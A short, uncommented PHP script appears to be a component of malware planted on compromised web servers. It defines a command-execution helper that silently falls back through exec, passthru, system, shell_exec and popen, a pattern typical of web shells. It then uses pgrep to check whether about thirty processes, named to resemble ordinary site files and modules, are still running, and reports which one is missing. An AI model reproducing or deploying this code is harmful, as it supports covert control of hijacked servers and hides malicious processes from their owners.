<?php   $files = ['screen_02','spanish.lng','hosted_by','dutch_mimes','action.changedir','object.recon','admin.trash.html','home_250110','studentForum','uploadbplan','contact_messages','sp_def_vars','admin.live.tpl','banners.bak','themeGenerator','xmlrpctag','timescheduleEN','admin.extplorer','File.class','com_contact','ITDynamic','Message.class','mod_popular','setup_info','cache_usergroups','qtype_match','homepageData','spanish_mimes','mod_arhiva','formcolorpicker']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }